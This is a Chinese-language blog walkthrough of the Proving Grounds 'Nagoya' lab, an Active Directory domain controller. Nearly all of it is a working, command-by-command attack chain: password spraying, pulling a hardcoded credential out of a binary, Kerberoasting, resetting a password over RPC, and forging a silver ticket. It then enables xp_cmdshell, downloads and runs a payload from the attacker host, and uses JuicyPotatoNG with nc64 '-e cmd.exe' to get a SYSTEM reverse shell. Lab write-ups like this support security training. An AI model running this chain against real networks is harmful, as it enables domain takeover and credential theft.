Proving Grounds Practice : Nagoya Walkthrough
Proving Grounds Practice : Nagoya Walkthrough
Foothole (立足點 ) :
- 算是相當難的一個靶機,一開始網站枚舉到帳號,後續是暴力破解獲得密碼
- 是用已知的憑證透過 SMB 獲取某個 *.exe 檔案,再透過 dnSPY 解析獲得另一組憑證
- 使用新的憑證走 RPC 去修改特定使用者密碼
- 使用特定使用者密碼透過 evil-winrm 進入機器獲取第一階段 flag
PE ( 提權 ) :
- 使用銀票攻擊登入 SQL Server 開啟 xp_cmdshell 並建立 Reverse Shell
- SeImpersonatePrivilege 標準作業提權成功
注意事項 :
- dnSPY 學習
- RPCClient 學習
- 銀票攻擊再次學習
第一步 Rustscan,└─$ rustscan -a 192.168.183.21 --scripts none --ulimit 5000 | tee rustscan
看來是一台 DC
snmp check,└─$ sudo nmap -sU -p 161 192.168.183.21 | tee snmp
nmap,└─$ sudo nmap -A -sCV -p 53,80,88,135,139,389,445,464,593,3268,3269,3389,5985,9389,49666,49668,49676,49678,49679,49693,49708,49810 192.168.183.21 | tee nmap
Domain 名稱 : nagoya-industries.com
主機名稱 : nagoya
NetBIOS Name : NAGOYA-IND
enum4linux,└─$ enum4linux -a 192.168.183.21 | tee enum4linux
匿名 SMB Share 甚麼都沒有
沒有甚麼發現
nmap 帶上 ldap-search script 爬爬看,sudo nmap -n -sV -Pn --script ldap-search.nse 192.168.183.21
只有爬出 Domain Name
389 Port LDAP 進階搜尋看看,sudo nmap --script "ldap* and not brute" 192.168.183.21 -p 389 -v -Pn -sT
跟 nmap 爬到的資訊差不多,僅獲得 Domain Name 跟 DC Hostname
進階搜尋 LDAP 看看有無公開的資訊,ldapsearch -v -x -b "DC=nagoya-industries,DC=com" -H "ldap://192.168.183.21" "(objectclass=*)"
看來甚麼都沒有
80 /
80 /robots.txt
80 /Team 發現一堆帳號
整理一下做成 usernames.txt
gobuster 80 / 沒有看到甚麼結果
做了很久很久的密碼爆破,最後破解了幾個帳號得到密碼如下
這一步我覺得是這一題最難的一個步驟,靶機解題真的要有想像力
- agoya-industries.com\Fiona.Clark:Summer2023
- nagoya-industries.com\Craig.Carr:Spring2023
- nagoya-industries.com\Andrea.Hayes:Nagoya2023
帶上驗證再做一次 enum4linux,└─$ enum4linux -a -u "nagoya-industries.com/Fiona.clark" -p Summer2023 192.168.183.21 | tee enum4linux2
也看得到 DC 標準的 SMB 分享資料夾了
發現幾個非預設的群組 developers、helpdesk、employees
SMB 登入 SYSVOL 分享資料夾,└─$ smbclient //192.168.183.21/SYSVOL -U "nagoya-industries.com/Fiona.clark" --password="Summer2023"
底下發現一個不尋常的名稱資料夾 "ResetPassword"
進入後發現好幾個檔案,看來是一個執行檔與相關 dll 與 xml 定義檔
將檔案通通抓回來 kali
使用 dnSpy 解析 ResetPassword.exe 發現一組薪的憑證
svc_helpdesk:U299iYRmikYTHDbPbxPoYYfa2j4x4cdg
測試看看是一組有用的憑證,└─$ crackmapexec smb 192.168.183.21 -u svc_helpdesk -p 'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg' -d 'nagoya-industries.com'
evil-winrm 沒有作用,└─$ evil-winrm -i 192.168.183.21 -u 'nagoya-industries.com/svc_helpdesk' -p 'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg'
Kerberos Roasting 測試看看,impacket-GetUserSPNs -request -dc-ip 192.168.183.21 'nagoya-industries.com/svc_helpdesk'
發現兩組帳號 HASH,分別是 svc_helpdesk(這個密碼我們有了)、svc_mssql
hashcat 解出 svc_mssql 的 HASH,得到新的憑證 svc_mssql:Service1
測試一下是有效憑證沒問題
目前共有五組憑證
- nagoya-industries.com\Fiona.Clark:Summer2023
- nagoya-industries.com\Craig.Carr:Spring2023
- nagoya-industries.com\Andrea.Hayes:Nagoya2023
- nagoya-industries.com\svc_helpdesk:U299iYRmikYTHDbPbxPoYYfa2j4x4cdg
- nagoya-industries.com\svc_mssql:Service1
測試了 SMB 沒有新發現,RDP 沒有有效的憑證
winrm 沒有有效的憑證
遠端 bloodHound 先看看,bloodhound-python -d nagoya-industries.com -u 'Fiona.clark' -p 'Summer2023' -gc nagoya.nagoya-industries.com -c all -ns 192.168.183.21
Domain Admin 僅有預設的 Administrator 帳號
一一檢視後沒有發現捷徑,但從已經拿下的帳號 svc_helpdesk 發現一個看似可以利用的路徑
該帳號對使用者帳號 Christopher.Lewis 有 GenericAll 的權限
然後 Christopher.Lewis 的帳號隸屬 Remote Management Users 群組
看來可以朝向這個方向下手
Abuse 告知可以去 Reset 該使用者的密碼
告知可以使用 RPC 的方式去 Reset
RPC 指令出現錯誤
net rpc password "Christopher.Lewis" "Password123@" -U "nagoya"/"svc_helpdesk"%"U299iYRmikYTHDbPbxPoYYfa2j4x4cdg" -S 192.168.183.21
經過一番枚舉後發現這一篇,RPC 協定去重新設定密碼找到這一篇
https://malicious.link/posts/2017/reset-ad-user-password-with-linux/
改使用上述指令一樣出現 Failed to connect to IPC$
依據上述聯結改用 rpcclient 指令試試看
登入 RPC,└─$ rpcclient -U svc_helpdesk //192.168.183.21
指令 : setuserinfo christopher.lewis 23 'Password123@'
然後使用 crackmapexec 測試看來是成功的
└─$ crackmapexec smb 192.168.183.21 -u christopher.lewis -p 'Password123@' -d nagoya-industries.com
RPCClient 更詳細的可以參考這一篇
Active Directory Enumeration: RPCClient - Hacking Articles
文章有提到使用 setuserinfo2 修改使用者密碼時帶 23 參數的意義
接著直接測試 winrm,看來這個帳號可以透過 winrm 有效登入
└─$ crackmapexec winrm 192.168.183.21 -u christopher.lewis -p 'Password123@' -d nagoya-industries.com
evil-winrm 直接進去了,└─$ evil-winrm -i 192.168.183.21 -u 'christopher.lewis' -p 'Password123@'
再建立一個 Reverse Shell 回來,獲取 local.txt flag
開始 PE,執行 winPEASx64.exe
發現這一台有安裝 MSSQL 服務且跑在標準 Port 1433 上
執行 chisel 將靶機的 1433 Port 對應到 Kali 的 1433 Port
直接 └─$ impacket-mssqlclient svc_mssql:Service1@127.0.0.1 -windows-auth
開始標準作業,輸入 EXECUTE sp_configure 'show advanced options', 1;
結果 GG.......顯示 does not have permission 沒有權限
這是 SPN 服務帳號,之前有學過還可以利用銀票,那就試試看吧
參考 : https://your-it-note.blogspot.com/2023/11/active-directory-2.html
創建銀票要三個資訊 :
- 1. SPN 密碼 Hash
- 2. 網域 SID
- 3. 目標服務的 SPN
第一個一定要 NTLM HASH 不能用明碼的密碼,但現在只有 svc_mssql 帳號明碼的密碼
透過線上 NTLM HASH 產生器來產生 HASH https://codebeautify.org/ntlm-hash-generator
HASH : E3A0168BC21CFB88B95C954A5B18F57C
第二個網域 SID,這個比較簡單,在 enum4linux 中就有了如下圖
Domain SID : S-1-5-21-1969309164-1513403977-1686805993
亦可透過 evil-winrm 直接下指令 get-ADDomain 獲取也可以得到 SID
第三個目標服務的 SPN
匯入 PowerView.ps1 執行 setspn -L svc_mssql
或是使用 Get-NetUser -SPN | select samaccountname,serviceprincipalname
參考 : https://your-it-note.blogspot.com/2023/11/active-directory.html
SPN : MSSQL/nagoya.nagoya-industries.com
SPN 也可使用 evil-winrm 取得,指令如下
Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames
所以現在創建銀票所需要的三個值都有了
- 1. SPN 密碼 Hash : E3A0168BC21CFB88B95C954A5B18F57C
- 2. 網域 SID : S-1-5-21-1969309164-1513403977-1686805993
- 3. 目標服務的 SPN : MSSQL/nagoya.nagoya-industries.com
之前學到產銀票是透過 mimikatz.exe 來產生
但是現在沒有管理員權限無法使用 mimikatz.exe 必須從其他 Windows 機器去跑 mimikatz.exe
或是可以直接用 kali 來產生服務銀票,指令如下
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
可以看到產生的銀票檔名是 Administrator.ccache
Kali 預設沒有 kerbers 套件,要先安裝套件
參考 : https://installati.one/install-krb5-user-kalilinux/?expand_article=1
sudo apt-get update
sudo apt-get -y install krb5-user
或是
安裝完後跟 Windows Powershell 一樣輸入 klist 看一下現在的 kerbers 驗證清單
可以發現沒有任何 Kerbers 驗證清單票據
接著將剛剛產生的 Administrator.ccache 銀票匯入
指令 export KRB5CCNAME=$PWD/Administrator.ccache
再執行一次 klist 就可以看到現在的 kerbers 票據是
MSSQL/nagoya.nagoya-industries.com@NAGOYA-INDUSTRIES.COM
接著編輯 /etc/krb5user.conf 內容如下
[libdefaults]
default_realm = NAGOYA-INDUSTRIES.COM
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
rdns = false
dns_canonicalize_hostname = false
fcc-mit-ticketflags = true
[realms]
NAGOYA-INDUSTRIES.COM = {
kdc = nagoya.nagoya-industries.com
}
[domain_realm]
.nagoya-industries.com = NAGOYA-INDUSTRIES.COM
一樣透過 impacket-mssqlclient 登入,只是這一次帶銀票的驗證登入
impacket-mssqlclient -k nagoya.nagoya-industries.com
標準作業
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
這一次可以順利執行了
執行 whoami 沒有問題
上傳 Payload 執行 Payload
EXECUTE xp_cmdshell 'curl http://192.168.45.177/pg/21/4446.exe -o c:\temp\4446.exe';
EXECUTE xp_cmdshell 'c:\temp\4446.exe';
4446 Reverse Shell 進來了,這一次 whoami /priv 可以看到 SeImpersonatePrivilege
上傳 JuicyPotatoNG.exe & nc64.exe
標準作業 .\JuicyPotatoNG.exe -t * -p nc64.exe -a "192.168.45.177 443 -e c:\windows\system32\cmd.exe"
443 Reverse Shell 進來了,whoami 確定是 system 直接拿 flag 吧
留言
張貼留言